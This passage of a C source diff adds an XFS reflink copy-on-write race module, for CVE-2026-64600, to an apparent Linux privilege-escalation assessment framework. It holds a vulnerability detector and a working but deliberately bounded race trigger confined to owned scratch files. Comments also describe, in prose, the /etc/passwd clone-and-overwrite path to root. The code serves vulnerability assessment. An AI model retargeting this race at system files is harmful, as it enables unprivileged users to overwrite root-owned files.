ordinary supported operation; this phase is safe on any kernel. + * (B) HARD-BOUNDED window exercise — races a small number of concurrent + * O_DIRECT writes against the clone while helper threads cycle + * ftruncate/fdatasync to keep the ILOCK dropping for log space, then + * STOPS. It then reads the DONOR back with O_DIRECT (bypassing the page + * cache, which would otherwise hide the corruption) and reports whether + * the donor's on-disk bytes changed — the honest, self-contained + * witness that the race was won. + * It is deliberately UNDER-DRIVEN relative to the public PoC (8 writers vs 32, + * 2 helpers vs 8, 2s cap), and — the important part — it NEVER clones or + * targets a file it does not own. The step that makes this root, cloning a + * root-owned file such as /etc/passwd and racing writes onto ITS shared + * blocks, is documented but NOT bundled: doing so would persistently rewrite + * a system file on disk with no way to undo it. Returns EXPLOIT_FAIL always; + * it never claims root it did not get. + * + * Note the asymmetry with the corpus's other reconstructed race triggers: a + * won race here corrupts 4 KiB of the operator's OWN scratch file and cannot + * touch kernel memory, so unlike bad_epoll (frees a live struct file) and + * ghostlock (kernel-stack UAF → near-arbitrary write → panic) there is no + * oops, no silent kernel destabilisation and no panic risk. That is why this + * module ranks well above them in --auto safety despite being unverified. + * + * detect() is a version gate AND a real precondition probe, because unlike a + * pure kernel race this bug's reachability is observable safely: it requires + * a writable directory on a mounted XFS filesystem (checked via statfs(2) + * f_type == XFS_SUPER_MAGIC — NOT merely "FICLONE works", since btrfs also + * implements FICLONE and is not affected). Without one it returns + * PRECOND_FAIL, which is the correct verdict on a default Debian/Ubuntu host. + * Under --active it additionally performs the FICLONE witness to confirm + * reflink=1 rather than assuming the mkfs default. Override the probe with + * SKELETONKEY_XFS_ASSUME_REFLINK=1 (force reachable) / 0 (force unreachable) + * when you know the fleet's storage layout better than a local probe can — + * this also drives the unit tests. + * + * Honesty caveat, and it is a big one for this CVE specifically: the affected + * population is overwhelmingly RHEL-family, and those vendors backport fixes + * WITHOUT bumping the upstream base version (a patched RHEL 8 kernel still + * reports 4.18.0-xxx.el8). An upstream-version gate cannot see that, so on + * rpm-family hosts a VULNERABLE verdict is a statement about the upstream + * base version only; detect() says so explicitly rather than pretending + * otherwise. Confirm against the vendor erratum (RHSA/ELSA/ALSA/RLSA). + * + * arch_support: any — trigger and real-world exploitation are both pure + * syscall/filesystem work (FICLONE, O_DIRECT pwrite, ftruncate, fdatasync) + * with no offsets, no shellcode and no arch-specific structure layouts. + */ + +#include "skeletonkey_modules.h" +#include "../../core/registry.h" + +#include +#include +#include +#include +#include + +#ifdef __linux__ + +#include "../../core/kernel_range.h" +#include "../../core/host.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* Filesystem/ioctl constants — defined defensively. and + * are not present on every build host and can clash with + * libc headers; the numbers below are stable uapi. */ +#ifndef XFS_SUPER_MAGIC +#define XFS_SUPER_MAGIC 0x58465342 /* "XFSB" */ +#endif +#ifndef RFX_FICLONE +#define RFX_FICLONE _IOW(0x94, 9, int) +#endif +#define RFX_FIEMAP_FLAG_SYNC 0x00000001u +#define RFX_FIEMAP_EXTENT_SHARED 0x00002000u /* extent is shared: refcount > 1 */ + +/* struct fiemap / struct fiemap_extent, mirrored so we can build the + * FS_IOC_FIEMAP ioctl number without the kernel header. The _IOWR size field + * MUST equal sizeof(struct fiemap) == 32, asserted below. */ +struct rfx_fiemap_hdr { + uint64_t fm_start; + uint64_t fm_length; + uint32_t fm_flags; + uint32_t fm_mapped_extents; + uint32_t fm_extent_count; + uint32_t fm_reserved; +}; +struct rfx_fiemap_extent { + uint64_t fe_logical; + uint64_t fe_physical; + uint64_t fe_length; + uint64_t fe_reserved64[2]; + uint32_t fe_flags; + uint32_t fe_reserved[3]; +}; +_Static_assert(sizeof(struct rfx_fiemap_hdr) == 32, + "fiemap header must be 32 bytes or FS_IOC_FIEMAP encodes wrong"); +_Static_assert(sizeof(struct rfx_fiemap_extent) == 56, + "fiemap extent must be 56 bytes to match uapi layout"); + +#define RFX_FIEMAP_MAX_EXTENTS 8 +struct rfx_fiemap_req { + struct rfx_fiemap_hdr hdr; + struct rfx_fiemap_extent ext[RFX_FIEMAP_MAX_EXTENTS]; +}; +#define RFX_FS_IOC_FIEMAP _IOWR('f', 11, struct rfx_fiemap_hdr) + +/* ------------------------------------------------------------------ + * Kernel-range table. Mainline fix 2f4acd0fcd86 landed in 7.2-rc4 + * (merged 2026-07-16); the CNA record lists stable backports on the three + * branches below. A branch with an exact entry is patched iff + * host.patch >= entry.patch; any branch strictly newer than EVERY entry + * (i.e. 7.2+) inherits the mainline fix; every other branch — the 6.6 / 6.1 / + * 5.15 / 5.14 / 5.10 / 4.19 / 4.18 LTS lines and the EOL branches in between — + * is still vulnerable with no upstream stable fix published at time of writing. + * kernel_range_is_patched() implements exactly that. + * + * Distro vendor branches (RHEL 4.18.0-*.el8, 5.14.0-*.el9, UEK, Amazon) carry + * the fix without moving these numbers; see the rpm-family caveat in detect(). + * Extend the table as more branches publish backports — tools/ + * refresh-kernel-ranges.py flags the drift. Authoritative source: the Linux + * kernel CNA record (git.kernel.org/stable/c/). + * ------------------------------------------------------------------ */ +static const struct kernel_patched_from refluxfs_patched_branches[] = { + {6, 12, 96}, /* 6.12 LTS — 44f891bc0889 */ + {6, 18, 39}, /* 6.18 — 206c09b04dc5 */ + {7, 1, 4}, /* 7.1 — e705d81a7193; 7.2+ inherits mainline 2f4acd0fcd86 */ +}; + +static const struct kernel_range refluxfs_range = { + .patched_from = refluxfs_patched_branches, + .n_patched_from = sizeof(refluxfs_patched_branches) / + sizeof(refluxfs_patched_branches[0]), +}; + +/* ------------------------------------------------------------------ + * Target discovery: a writable directory on a mounted XFS filesystem. + * + * We check the SUPERBLOCK MAGIC rather than trusting a successful FICLONE, + * because btrfs implements FICLONE too and is not affected by this CVE. The + * candidate list covers the conventional scratch dirs (the public PoC used + * /var/tmp) and then anything XFS that /proc/mounts reports, which catches + * layouts where only /home or a data volume is XFS. + * ------------------------------------------------------------------ */ + +#define RFX_SCRATCH_PREFIX "skeletonkey-refluxfs-" + +/* Buffer tiers. Directory buffers are deliberately smaller than the PATH_MAX + * file-path buffers built from them, so every snprintf() below is provably + * non-truncating (and -Wformat-truncation stays quiet without pragmas): + * mount dir (<=1023) + "/" + prefix + "XXXXXX" fits RFX_SCRATCH_MAX + * scratch (<=2047) + "/donor"|"/clone" fits PATH_MAX + * mount dir (<=1023) + "/" + d_name (<=255) fits PATH_MAX */ +#define RFX_DIR_MAX 1024 /* an XFS mountpoint / scratch parent */ +#define RFX_SCRATCH_MAX 2048 /* the private mkdtemp() directory */ + +static bool rfx_dir_is_writable_xfs(const char *dir) +{ + if (!dir || !*dir) return false; + struct statfs sfs; + if (statfs(dir, &sfs) != 0) return false; + if ((unsigned long)sfs.f_type != (unsigned long)XFS_SUPER_MAGIC) return false; + return access(dir, W_OK | X_OK) == 0; +} + +/* Append every xfs mountpoint in /proc/mounts to the caller's candidate + * callback. Mountpoints are octal-escaped in that file; we unescape the + * cases that actually occur (\040 space, \011 tab, \012 newline, \134 \). */ +static void rfx_unescape_mount(char *s) +{ + char *r = s, *w = s; + while (*r) { + if (r[0] == '\\' && r[1] && r[2] && r[3]) { + int a = r[1] - '0', b = r[2] - '0', c = r[3] - '0'; + if (a >= 0 && a <= 7 && b >= 0 && b <= 7 && c >= 0 && c <= 7) { + *w++ = (char)((a << 6) | (b << 3) | c); + r += 4; + continue; + } + } + *w++ = *r++; + } + *w = '\0'; +} + +/* Find a writable directory on an XFS filesystem. + * + * Returns 1 and fills `out` when a usable target exists, 0 when none does. + * *assumed is set true when the answer came from SKELETONKEY_XFS_ASSUME_REFLINK + * rather than a real statfs() match, so callers can report the difference + * honestly instead of implying they measured something they did not. */ +static int rfx_find_xfs_dir(char *out, size_t outsz, bool *assumed) +{ + if (assumed) *assumed = false; + if (out && outsz) out[0] = '\0'; + + const char *ov = getenv("SKELETONKEY_XFS_ASSUME_REFLINK"); + if (ov && *ov == '0') { + if (assumed) *assumed = true; + return 0; /* operator asserts: no reflink XFS here */ + } + + const char *fixed[] = { + getenv("TMPDIR"), "/var/tmp", "/tmp", getenv("HOME"), + }; + for (size_t i = 0; i < sizeof(fixed) / sizeof(fixed[0]); i++) { + if (fixed[i] && rfx_dir_is_writable_xfs(fixed[i])) { + snprintf(out, outsz, "%s", fixed[i]); + return 1; + } + } + + /* Anything else XFS that we can write to. */ + FILE *f = fopen("/proc/mounts", "re"); + if (f) { + char line[1024]; + while (fgets(line, sizeof line, f)) { + char dev[256], mp[512], fstype[64]; + if (sscanf(line, "%255s %511s %63s", dev, mp, fstype) != 3) continue; + if (strcmp(fstype, "xfs") != 0) continue; + rfx_unescape_mount(mp); + if (rfx_dir_is_writable_xfs(mp)) { + snprintf(out, outsz, "%s", mp); + fclose(f); + return 1; + } + } + fclose(f); + } + + if (ov && *ov == '1') { + /* Operator asserts the target exists even though we could not see it + * (e.g. scanning a fleet from a host whose own storage differs). + * Hand back a conventional scratch dir; exploit() reports honestly if + * it turns out not to be usable. */ + snprintf(out, outsz, "%s", "/var/tmp"); + if (assumed) *assumed = true; + return 1; + } + return 0; +} + +/* Non-destructive reflink witness: clone a 4 KiB file inside `dir` and remove + * both files immediately. Returns 1 if FICLONE succeeded (reflink=1 confirmed), + * 0 if the filesystem refused it (reflink=0 → the CoW path is unreachable), + * -1 if we could not decide. Only called when ctx->active_probe is set. */ +static int rfx_reflink_witness(const char *dir) +{ + /* pid-qualified so two concurrent skeletonkey runs (a fleet scan looping + * over hosts, or --auto's forked per-module detects) cannot unlink each + * other's probe files mid-check and produce a bogus PRECOND_FAIL. */ + char src[PATH_MAX], dst[PATH_MAX]; + snprintf(src, sizeof src, "%s/" RFX_SCRATCH_PREFIX "probe.%ld.src", + dir, (long)getpid()); + snprintf(dst, sizeof dst, "%s/" RFX_SCRATCH_PREFIX "probe.%ld.dst", + dir, (long)getpid()); + + int rc = -1; + int sfd = open(src, O_RDWR | O_CREAT | O_TRUNC, 0600); + if (sfd < 0) return -1; + + static const char blk[4096] = { 0 }; + if (write(sfd, blk, sizeof blk) != (ssize_t)sizeof blk) { close(sfd); unlink(src); return -1; } + (void)fsync(sfd); + + int dfd = open(dst, O_RDWR | O_CREAT | O_TRUNC, 0600); + if (dfd >= 0) { + errno = 0; + if (ioctl(dfd, RFX_FICLONE, sfd) == 0) { + rc = 1; + } else if (errno == EOPNOTSUPP || errno == EINVAL || errno == EXDEV || + errno == ENOTTY) { + rc = 0; /* filesystem has no reflink support */ + } + close(dfd); + unlink(dst); + } + close(sfd); + unlink(src); + return rc; +} + +static skeletonkey_result_t refluxfs_detect(const struct skeletonkey_ctx *ctx) +{ + const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL; + if (!v || v->major == 0) { + if (!ctx->json) + fprintf(stderr, "[!] refluxfs: host fingerprint missing kernel " + "version — bailing\n"); + return SKELETONKEY_TEST_ERROR; + } + + /* Direct-I/O CoW block allocation in iomap_begin — the code the race lives + * in — arrived in 4.11 (3c68d44a2b49). RHEL/CentOS 7's 3.10 predates + * reflink entirely and was never affected. */ + if (!skeletonkey_host_kernel_at_least(ctx->host, 4, 11, 0)) { + if (!ctx->json) + fprintf(stderr, "[i] refluxfs: kernel %s predates XFS direct-I/O CoW " + "(introduced 4.11) — not affected\n", v->release); + return SKELETONKEY_OK; + } + + /* A patched kernel is not vulnerable regardless of storage layout — + * decide that first so the verdict is deterministic. */ + if (kernel_range_is_patched(&refluxfs_range, v)) { + if (!ctx->json) + fprintf(stderr, "[+] refluxfs: kernel %s is patched (>= 7.1.4 / " + "6.18.39 / 6.12.96 on-branch, or 7.2+ mainline)\n", + v->release); + return SKELETONKEY_OK; + } + + /* Vulnerable kernel. The bug is only reachable where an XFS filesystem + * with reflink is mounted and writable — on a default Debian/Ubuntu host + * (ext4) there is nothing to attack, and that is PRECOND_FAIL, not + * VULNERABLE. */ + char dir[RFX_DIR_MAX]; + bool assumed = false; + if (!rfx_find_xfs_dir(dir, sizeof dir, &assumed)) { + if (!ctx->json) { + fprintf(stderr, "[i] refluxfs: kernel %s is in the vulnerable range " + "but no writable XFS filesystem is mounted%s — the " + "reflink CoW path is not reachable here\n", + v->release, + assumed ? " (forced by SKELETONKEY_XFS_ASSUME_REFLINK=0)" : ""); + fprintf(stderr, "[i] refluxfs: XFS+reflink is the default on RHEL/" + "CentOS/Rocky/Alma/Oracle 8-10, Fedora Server >= 31 " + "and Amazon Linux 2023; if this fleet has XFS " + "elsewhere, re-run with " + "SKELETONKEY_XFS_ASSUME_REFLINK=1\n"); + } + return SKELETONKEY_PRECOND_FAIL; + } + + /* Under --active, confirm reflink is actually enabled rather than assuming + * the mkfs.xfs default. reflink=0 means no shared extents can exist, so the + * refcount check the bug fumbles is never reached. */ + if (ctx->active_probe && !assumed) { + int w = rfx_reflink_witness(dir); + if (w == 0) { + if (!ctx->json) + fprintf(stderr, "[i] refluxfs: XFS at %s has reflink DISABLED " + "(FICLONE refused) — no shared extents possible, " + "bug not reachable here\n", dir); + return SKELETONKEY_PRECOND_FAIL; + } + if (w == 1 && !ctx->json) + fprintf(stderr, "[+] refluxfs: reflink CONFIRMED on XFS at %s " + "(FICLONE accepted)\n", dir); + if (w < 0 && !ctx->json) + fprintf(stderr, "[i] refluxfs: reflink probe inconclusive at %s — " + "falling back to the version verdict\n", dir); + } + + if (!ctx->json) { + fprintf(stderr, "[!] refluxfs: VULNERABLE — kernel %s below the fix on " + "its branch, writable XFS at %s%s; the reflink CoW " + "ILOCK-cycling race lets any unprivileged user overwrite " + "the on-disk contents of any readable file (no userns, " + "no capability, no offsets)\n", + v->release, dir, + assumed ? " (asserted via SKELETONKEY_XFS_ASSUME_REFLINK=1)" + : ""); + if (!ctx->active_probe) + fprintf(stderr, "[i] refluxfs: reflink=1 assumed (the mkfs.xfs " + "default since xfsprogs 5.1) — re-run with --active " + "to confirm it empirically via FICLONE\n"); + if (ctx->host && ctx->host->is_rpm_family) + fprintf(stderr, "[!] refluxfs: rpm-family host — RHEL/Oracle/Rocky/" + "Alma backport this fix WITHOUT bumping the upstream " + "version (a patched el8 kernel still reports " + "4.18.0-*), so this verdict reflects the upstream " + "base version only. Confirm against the vendor " + "erratum (RHSA/ELSA/ALSA/RLSA).\n"); + fprintf(stderr, "[i] refluxfs: no runtime mitigation exists — reflink is " + "a superblock feature that cannot be turned off on a " + "live filesystem, and O_DIRECT cannot be disabled. Patch " + "the kernel and reboot.\n"); + } + return SKELETONKEY_VULNERABLE; +} + +/* ------------------------------------------------------------------ + * Reconstructed reachability trigger (deliberately under-driven, and + * deliberately confined to files we own). + * + * Shape of the public PoC, minus the part that makes it an attack: + * PoC: FICLONE /etc/passwd -> /var/tmp/clone; 32 x O_DIRECT 4K write @0 + * + 8 x ftruncate/fdatasync helpers => /etc/passwd rewritten on disk + * here: FICLONE ourdonor -> ourclone; 8 x O_DIRECT 4K write @0 + * + 2 x ftruncate/fdatasync helpers => at worst OUR donor is rewritten + * + * Phase A confirms, read-only and deterministically, that the exact filesystem + * state the bug misjudges exists here: a shared extent (FIEMAP_EXTENT_SHARED, + * i.e. refcount > 1) and a working O_DIRECT path into + * xfs_direct_write_iomap_begin. Phase B races writers against the clone while + * helpers cycle ftruncate/fdatasync to keep the transaction allocator dropping + * ILOCK to wait for log space — the window the race needs — then stops and + * checks the donor's on-disk bytes with an O_DIRECT read (a buffered read would + * be served from the donor's page cache, which the corruption bypasses, and + * would hide a win). + * + * We do NOT clone or target any file we do not own, do NOT grind the race to a + * win, and do NOT touch /etc/passwd or any other system file. A won race here + * damages 4 KiB of our own scratch file and nothing else. + * ------------------------------------------------------------------ */ +#define RFX_BLK 4096u /* 4 KiB — the PoC's write size */ +#define RFX_ALIGN 4096u /* satisfies 512b and 4Kn O_DIRECT alignment */ +#define RFX_DONOR_BYTE 0x5a /* 'Z' — donor's known-good pattern */ +#define RFX_ATTACKER_BYTE 0x41 /* 'A' — what the racing writers push */ +#define RFX_RACE_WRITERS 8 /* public PoC uses 32 */ +#define RFX_RACE_HELPERS 2 /* public PoC uses 8 */ +#define RFX_RACE_ROUNDS 16 /* hard iteration cap */ +#define RFX_RACE_BUDGET_SECS 2 /* hard wall-clock cap */ + +/* Child exit codes — mapped to operator-facing messages in exploit(). */ +#define RFX_RC_SHARED_NO_WIN 100 /* shared extent confirmed, race not won */ +#define RFX_RC_NO_SHARE 101 /* could not establish/observe a shared extent */ +#define RFX_RC_SHARED_WIN 102 /* shared extent confirmed AND donor diverged */ +#define RFX_RC_SETUP_FAIL 103 /* no usable scratch dir / O_DIRECT unavailable */ + +struct rfx_race { + char clone_path[PATH_MAX]; + atomic_int gate; /* 0 = hold, 1 = go */ + atomic_int stop; /* helpers exit when set */ +}; + +static void *rfx_writer_fn(void *arg) +{ + struct rfx_race *r = (struct rfx_race *)arg; + int fd = open(r->clone_path, O_RDWR | O_DIRECT); + if (fd < 0) return NULL; + + void *buf = NULL; + if (posix_memalign(&buf, RFX_ALIGN, RFX_BLK) != 0) { close(fd); return NULL; } + memset(buf, RFX_ATTACKER_BYTE, RFX_BLK); + + while (!atomic_load_explicit(&r->gate, memory_order_acquire)) + sched_yield(); + (void)pwrite(fd, buf, RFX_BLK, 0); + + free(buf); + close(fd); + return NULL; +} + +/* Keep the transaction allocator busy so the ILOCK keeps getting dropped while + * waiting for log space. Sizes alternate between one and two blocks — both keep + * byte range [0, RFX_BLK) intact, so the racing writers' target never moves. */ +static void *rfx_helper_fn(void *arg) +{ + struct rfx_race *r = (struct rfx_race *)arg; + int fd = open(r->clone_path, O_RDWR); + if (fd < 0) return NULL; + + while (!atomic_load_explicit(&r->gate, memory_order_acquire)) + sched_yield(); + while (!atomic_load_explicit(&r->stop, memory_order_acquire)) { + (void)ftruncate(fd, (off_t)RFX_BLK * 2); + (void)fdatasync(fd); + (void)ftruncate(fd, (off_t)RFX_BLK); + (void)fdatasync(fd); + } + close(fd); + return NULL; +} + +/* Read `path`'s first block with O_DIRECT and report whether every byte still + * equals `expect`. Returns 1 if the content diverged, 0 if intact, -1 if we + * could not tell. O_DIRECT matters: the corruption lands under the inode, so a + * buffered read would return the stale (correct-looking) cached page. */ +static int rfx_content_diverged(const char *path, unsigned char expect) +{ + int fd = open(path, O_RDONLY | O_DIRECT); + if (fd < 0) return -1; + + void *buf = NULL; + if (posix_memalign(&buf, RFX_ALIGN, RFX_BLK) != 0) { close(fd); return -1; } + + int rc = -1; + ssize_t n = pread(fd, buf, RFX_BLK, 0); + if (n == (ssize_t)RFX_BLK) { + const unsigned char *p = (const unsigned char *)buf; + rc = 0; + for (size_t i = 0; i < RFX_BLK; i++) { + if (p[i] != expect) { rc = 1; break; } + } + } + free(buf); + close(fd); + return rc; +} + +/* Does `path`'s first extent report FIEMAP_EXTENT_SHARED? 1 = yes (refcount>1), + * 0 = no, -1 = could not tell. */ +static int rfx_extent_is_shared(const char *path) +{ + int fd = open(path, O_RDONLY); + if (fd < 0) return -1; + + struct rfx_fiemap_req req; + memset(&req, 0, sizeof req); + req.hdr.fm_start = 0; + req.hdr.fm_length = RFX_BLK; + req.hdr.fm_flags = RFX_FIEMAP_FLAG_SYNC; + req.hdr.fm_extent_count = RFX_FIEMAP_MAX_EXTENTS; + + int rc = -1; + if (ioctl(fd, RFX_FS_IOC_FIEMAP, &req) == 0) { + rc = 0; + uint32_t n = req.hdr.fm_mapped_extents; + if (n > RFX_FIEMAP_MAX_EXTENTS) n = RFX_FIEMAP_MAX_EXTENTS; + for (uint32_t i = 0; i < n; i++) { + if (req.ext[i].fe_flags & RFX_FIEMAP_EXTENT_SHARED) { rc = 1; break; } + } + } + close(fd); + return rc; +} + +/* Build donor + reflinked clone inside `scratch`. Returns 0 on success. */ +static int rfx_build_pair(const char *scratch, char *donor, size_t dsz, + char *clone, size_t csz) +{ + snprintf(donor, dsz, "%s/donor", scratch); + snprintf(clone, csz, "%s/clone", scratch); + + int dfd = open(donor, O_RDWR | O_CREAT | O_TRUNC, 0600); + if (dfd < 0) return -1; + + void *buf = NULL; + if (posix_memalign(&buf, RFX_ALIGN, RFX_BLK) != 0) { close(dfd); return -1; } + memset(buf, RFX_DONOR_BYTE, RFX_BLK); + ssize_t w = pwrite(dfd, buf, RFX_BLK, 0); + free(buf); + if (w != (ssize_t)RFX_BLK) { close(dfd); return -1; } + (void)fsync(dfd); + + int cfd = open(clone, O_RDWR | O_CREAT | O_TRUNC, 0600); + if (cfd < 0) { close(dfd); return -1; } + + /* The shared extent. This — and only this — is the state the bug's stale + * refcount lookup misjudges. */ + int rc = ioctl(cfd, RFX_FICLONE, dfd) == 0 ? 0 : -1; + (void)fsync(cfd); + close(cfd); + close(dfd); + return rc; +} + +static void rfx_remove_scratch(const char *scratch) +{ + DIR *d = opendir(scratch); + if (d) { + struct dirent *e; + while ((e = readdir(d)) != NULL) { + if (!strcmp(e->d_name, ".") || !strcmp(e->d_name, "..")) continue; + unlinkat(dirfd(d), e->d_name, 0); + } + closedir(d); + } + rmdir(scratch); +} + +/* One race round against our own clone. Returns 1 if the donor's on-disk bytes + * diverged (the race was won), 0 if intact, -1 if undetermined. */ +static int rfx_race_round(const char *donor, const char *clone) +{ + struct rfx_race r; + memset(&r, 0, sizeof r); + snprintf(r.clone_path, sizeof r.clone_path, "%s", clone); + + pthread_t w[RFX_RACE_WRITERS], h[RFX_RACE_HELPERS]; + int nw = 0, nh = 0; + + for (int i = 0; i < RFX_RACE_WRITERS; i++) + if (pthread_create(&w[nw], NULL, rfx_writer_fn, &r) == 0) nw++; + for (int i = 0; i < RFX_RACE_HELPERS; i++) + if (pthread_create(&h[nh], NULL, rfx_helper_fn, &r) == 0) nh++; + + if (nw == 0) { + atomic_store_explicit(&r.stop, 1, memory_order_release); + atomic_store_explicit(&r.gate, 1, memory_order_release); + for (int i = 0; i < nh; i++) pthread_join(h[i], NULL); + return -1; + } + + /* Let every thread reach its spin gate, then release them together. */ + usleep(2000); + atomic_store_explicit(&r.gate, 1, memory_order_release); + + for (int i = 0; i < nw; i++) pthread_join(w[i], NULL); + atomic_store_explicit(&r.stop, 1, memory_order_release); + for (int i = 0; i < nh; i++) pthread_join(h[i], NULL); + + return rfx_content_diverged(donor, RFX_DONOR_BYTE); +} + +static skeletonkey_result_t refluxfs_exploit(const struct skeletonkey_ctx *ctx) +{ + skeletonkey_result_t pre = refluxfs_detect(ctx); + if (pre != SKELETONKEY_VULNERABLE) { + fprintf(stderr, "[-] refluxfs: detect() says not vulnerable/reachable; " + "refusing\n"); + return pre; + } + bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0); + if (is_root) { + fprintf(stderr, "[i] refluxfs: already running as root — nothing to do\n"); + return SKELETONKEY_OK; + } + + if (!ctx->json) + fprintf(stderr, "[*] refluxfs: reconstructed reachability probe — builds " + "a reflinked pair of files WE OWN in a private scratch " + "dir, confirms the shared extent via FIEMAP, then races " + "%d concurrent O_DIRECT writes against the clone (%d " + "ftruncate/fdatasync helpers, %d rounds, %ds cap) and " + "stops. It never clones or targets a root-owned file, so " + "the /etc/passwd overwrite → su → root chain is NOT " + "bundled.\n", + RFX_RACE_WRITERS, RFX_RACE_HELPERS, RFX_RACE_ROUNDS, + RFX_RACE_BUDGET_SECS); + + /* Fork-isolated for consistency with the corpus's other race triggers. + * Unlike them, a won race here cannot touch kernel memory — the blast + * radius is 4 KiB of our own scratch file. */ + pid_t child = fork(); + if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; } + + if (child == 0) { + char dir[RFX_DIR_MAX]; + bool assumed = false; + if (!rfx_find_xfs_dir(dir, sizeof dir, &assumed)) _exit(RFX_RC_SETUP_FAIL); + + /* SKELETONKEY_XFS_ASSUME_REFLINK=1 lets an operator assert a target we + * could not see. If the scratch dir is not actually XFS, say so loudly: + * btrfs implements FICLONE and reports FIEMAP_EXTENT_SHARED too, so + * phase A would "confirm" against a filesystem this CVE cannot affect, + * and a not-won race there is evidence of nothing at all. */ + if (!rfx_dir_is_writable_xfs(dir) && !ctx->json) + fprintf(stderr, "[!] refluxfs: scratch dir %s is NOT on an XFS " + "filesystem (proceeding on the " + "SKELETONKEY_XFS_ASSUME_REFLINK assertion) — the " + "race cannot fire here regardless of the kernel; " + "treat the outcome as inconclusive, never as " + "evidence that a host is patched\n", dir); + + char scratch[RFX_SCRATCH_MAX]; + snprintf(scratch, sizeof scratch, "%s/" RFX_SCRATCH_PREFIX "XXXXXX", dir); + if (!mkdtemp(scratch)) _exit(RFX_RC_SETUP_FAIL); + + char donor[PATH_MAX], clone[PATH_MAX]; + if (rfx_build_pair(scratch, donor, sizeof donor, clone, sizeof clone) != 0) { + rfx_remove_scratch(scratch); + _exit(RFX_RC_NO_SHARE); + } + + /* Phase A — deterministic, read-only confirmation that the state the + * bug misjudges exists here. + * + * The FICLONE inside rfx_build_pair() already succeeded, and that is + * the authoritative signal: a shared extent now exists by + * construction. FIEMAP is CORROBORATION of that refcount state, not + * the gate — filesystems can report the SHARED flag lazily (only after + * the extent is committed), and refusing to continue on that alone + * would emit a false "not reachable here" on a genuinely vulnerable + * host. O_DIRECT, by contrast, IS a gate: without it + * xfs_direct_write_iomap_begin is never entered and there is no race + * to exercise. */ + int shared = rfx_extent_is_shared(clone); + int odirect_ok = 0; + int t = open(clone, O_RDWR | O_DIRECT); + if (t >= 0) { odirect_ok = 1; close(t); } + + if (!odirect_ok) { + if (!ctx->json) + fprintf(stderr, "[-] refluxfs: phase A — O_DIRECT unavailable " + "here; the direct-I/O CoW path cannot be " + "entered, so the race is unreachable\n"); + rfx_remove_scratch(scratch); + _exit(RFX_RC_SETUP_FAIL); + } + if (!ctx->json) + fprintf(stderr, "[+] refluxfs: phase A — reflink clone succeeded " + "(shared extent established) and O_DIRECT is " + "available; FIEMAP corroboration: %s. The vulnerable " + "CoW path is reachable here.\n", + shared == 1 ? "FIEMAP_EXTENT_SHARED set" + : shared == 0 ? "flag not reported — proceeding anyway" + : "FIEMAP undetermined — proceeding anyway"); + + /* Phase B — hard-bounded race window exercise. */ + int won = 0, rounds = 0; + time_t deadline = time(NULL) + RFX_RACE_BUDGET_SECS; + for (int i = 0; i < RFX_RACE_ROUNDS && time(NULL) < deadline && !won; i++) { + /* Re-establish the shared extent each round: a successful CoW + * breaks sharing, so without this only the first round would race + * against a genuinely shared block. */ + if (i > 0 && + rfx_build_pair(scratch, donor, sizeof donor, clone, sizeof clone) != 0) + break; + int d = rfx_race_round(donor, clone); + rounds = i + 1; + if (d == 1) won = 1; + } + + if (!ctx->json) + fprintf(stderr, "[i] refluxfs: phase B — %d bounded race rounds " + "fired; donor on-disk content %s\n", + rounds, won ? "DIVERGED" : "intact"); + + rfx_remove_scratch(scratch); + _exit(won ? RFX_RC_SHARED_WIN : RFX_RC_SHARED_NO_WIN); + } + + int status; + waitpid(child, &status, 0); + + if (WIFSIGNALED(status)) { + if (!ctx->json) + fprintf(stderr, "[!] refluxfs: child died by signal %d during the " + "bounded race — unexpected for a data-only bug; " + "no root was obtained\n", WTERMSIG(status)); + return SKELETONKEY_EXPLOIT_FAIL; + } + if (!WIFEXITED(status)) return SKELETONKEY_EXPLOIT_FAIL; + + switch (WEXITSTATUS(status)) { + case RFX_RC_SHARED_WIN: + if (!ctx->json) { + fprintf(stderr, "[!] refluxfs: CVE-2026-64600 CONFIRMED PRESENT — a " + "racing O_DIRECT write landed on a still-shared " + "block and rewrote the donor file's on-disk bytes. " + "That is the arbitrary-overwrite primitive, observed " + "empirically, contained entirely to our own scratch " + "files.\n"); + fprintf(stderr, "[i] refluxfs: NOT escalated. Turning this into root " + "means pointing the same race at a file we do not " + "own (the public PoC reflink-clones /etc/passwd into " + "/var/tmp and rewrites it in place, then `su`). That " + "step persistently corrupts a system file on disk " + "with no undo, so it is documented in MODULE.md and " + "NOT bundled. Honest EXPLOIT_FAIL.\n"); + } + return SKELETONKEY_EXPLOIT_FAIL; + case RFX_RC_SHARED_NO_WIN: + if (!ctx->json) { + fprintf(stderr, "[!] refluxfs: the vulnerable path IS reachable here " + "(shared extent + O_DIRECT confirmed) but the " + "deliberately under-driven race was not won in %d " + "rounds / %ds — honest EXPLOIT_FAIL.\n", + RFX_RACE_ROUNDS, RFX_RACE_BUDGET_SECS); + fprintf(stderr, "[i] refluxfs: absence of a win does NOT mean the " + "host is patched — the public PoC uses 32 writers, 8 " + "helpers and grinds far longer. Trust the version + " + "vendor-erratum verdict, not this timing result.\n"); + } + return SKELETONKEY_EXPLOIT_FAIL; + case RFX_RC_NO_SHARE: + if (!ctx->json) + fprintf(stderr, "[-] refluxfs: could not establish an observably " + "shared extent (FICLONE or FIEMAP refused) — reflink " + "may be disabled on this filesystem; bug not " + "reachable here\n"); + return SKELETONKEY_EXPLOIT_FAIL; + default: + if (!ctx->json) + fprintf(stderr, "[-] refluxfs: probe setup failed — no writable XFS " + "scratch directory, or O_DIRECT unavailable\n"); + return SKELETONKEY_EXPLOIT_FAIL; + } +} + +/* Sweep scratch directories left behind if a trigger run was killed mid-round. + * The trigger removes its own scratch dir on every normal path; this exists for + * the abnormal ones. It only ever removes directories matching our own + * prefix, inside the candidate dirs we would have used. */ +static skeletonkey_result_t refluxfs_cleanup(const struct skeletonkey_ctx *ctx) +{ + char dir[RFX_DIR_MAX]; + bool assumed = false; + if (!rfx_find_xfs_dir(dir, sizeof dir, &assumed)) { + if (!ctx->json) + fprintf(stderr, "[i] refluxfs: no XFS scratch directory in play — " + "nothing to clean\n"); + return SKELETONKEY_OK; + } + + DIR *d = opendir(dir); + if (!d) return SKELETONKEY_OK; + + int removed = 0; + struct dirent *e; + while ((e = readdir(d)) != NULL) { + if (strncmp(e->d_name, RFX_SCRATCH_PREFIX, + sizeof(RFX_SCRATCH_PREFIX) - 1) != 0) + continue; + char 